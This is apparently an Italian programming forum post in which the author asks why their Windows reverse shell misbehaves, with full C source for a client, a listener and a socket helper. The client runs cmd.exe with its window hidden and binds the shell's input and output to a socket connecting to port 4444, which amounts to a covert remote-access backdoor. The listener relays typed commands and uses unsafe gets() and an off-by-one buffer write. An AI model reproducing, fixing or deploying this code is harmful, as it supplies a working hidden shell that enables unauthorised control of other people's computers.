ok.. ho provato di nuovo... 
dunque, mentre il codice postato prima funziona perfettamente... 
l'opposto non funziona, o meglio il server (ovvero quello che dovrebbe inviare i comandi alla shell) riceve cose senza senso fino a riempire il buffer del tutto e dare errore del programma...
vi posto il codice:
client:
	codice:
	#define WIN32_LEAN_AND_MEAN
#include "sock.h"
#include <stdio.h>
#include <windows.h>
#include <winsock2.h>		//includo la libreria per le funzioni della versione 2 del winsock
#pragma comment(lib,"Ws2_32.lib") //Winsocket lib
#define SHELL_NAME "cmd\0"
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){
	SOCKET sock, sendrecv;
	struct sockaddr_in sock_addr,sendrecv_addr;
	WSADATA data;
	WORD p;
	int len;
	SECURITY_ATTRIBUTES sa;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	sendrecv = InitClientSocket("127.0.0.1", 4444);
	if (sendrecv == 0){
		MessageBox(0,"connessione non avvenuta","shell",MB_OK);
	}
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.bInheritHandle = TRUE;
	sa.lpSecurityDescriptor = NULL;
	memset((void *) &si, 0, sizeof(si));
	memset((void *) &pi, 0, sizeof(pi));
	si.cb = sizeof(si);
	si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
	si.hStdInput = (void *)sendrecv;	// posso assegnare lo standard input direttamente alla socket
	si.hStdOutput = (void *)sendrecv;   // devo utilizzare un cast in quanto la socket ?n intero,
	si.hStdError = (void *)sendrecv;	// mentre io ho bisogno di una variabile tipo Handle (puntatore a void)
	CreateProcess(NULL, SHELL_NAME, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
//	closesocket(sendrecv);
//	closesocket(sock);
//	WSACleanup();
	return 0;
}
 
server:
	codice:
	#include "sock.h"
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>		//includo la libreria per le funzioni della versione 2 del winsock
#pragma comment(lib,"Ws2_32.lib") //Winsocket lib
#define SHELL_NAME "cmd\0"
int main(){
	char pBuffer[64000];
	int iBytes;
	SOCKET sock, sendrecv;
	struct sockaddr_in sock_addr,sendrecv_addr;
	WSADATA data;
	WORD p;
	int len;
	SECURITY_ATTRIBUTES sa;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	 //connessione modalità server...
	p=MAKEWORD(2,0);
	WSAStartup(p,&data);
	sock = WSASocket (AF_INET, SOCK_STREAM, 0, 0, 0, 0);	//utilizzo la WSASocket() invece della socket()
	sock_addr.sin_family=PF_INET;
	sock_addr.sin_port=htons(4444);		//Utilizzo la porta 4444
	sock_addr.sin_addr.s_addr=INADDR_ANY;
    bind(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr_in));
	listen(sock,1);
	int lun = sizeof (struct sockaddr);
	sendrecv = accept(sock,(struct sockaddr*)&sendrecv_addr,&lun);
	while(TRUE){
		while(TRUE){
			iBytes = recv(sendrecv,pBuffer,64000,0);
			pBuffer[iBytes] = '\0';
			printf("%s",pBuffer);
			if(pBuffer[iBytes-1] == '>') break;
		}
		pBuffer[0] = '\0';
		gets(pBuffer);
		send(sendrecv, pBuffer,lstrlen(pBuffer),0);
		pBuffer[0] = '\n';pBuffer[1] = '\0';
		send(sendrecv, pBuffer,lstrlen(pBuffer),0);
	}
	system("pause");
	return 0;
}
 
funzione InitClientSocket
	codice:
	SOCKET InitClientSocket(char *pHost, int iPort){
 struct sockaddr_in saClient;
 struct hostent *pHostinfo;
 SOCKET sock;
 WORD version;
 WSADATA WSAData;
 version=MAKEWORD(1,1);
 WSAStartup(version, &WSAData);
 //Avvia il socket
 if ((sock=socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR){
  return 0;
 }
 //Risolve il DNS
 pHostinfo=gethostbyname(pHost);
 if (pHostinfo==NULL){
  return 0;
 }
 //Imposta la connessione con il server...
 saClient.sin_family=AF_INET;
 saClient.sin_addr=*((struct in_addr *)pHostinfo->h_addr);
 saClient.sin_port=htons(iPort);
 //Si connette al server...
 if (connect(sock,(struct sockaddr *)&saClient, sizeof(saClient))){
  return 0;
 }
 
 return sock;
}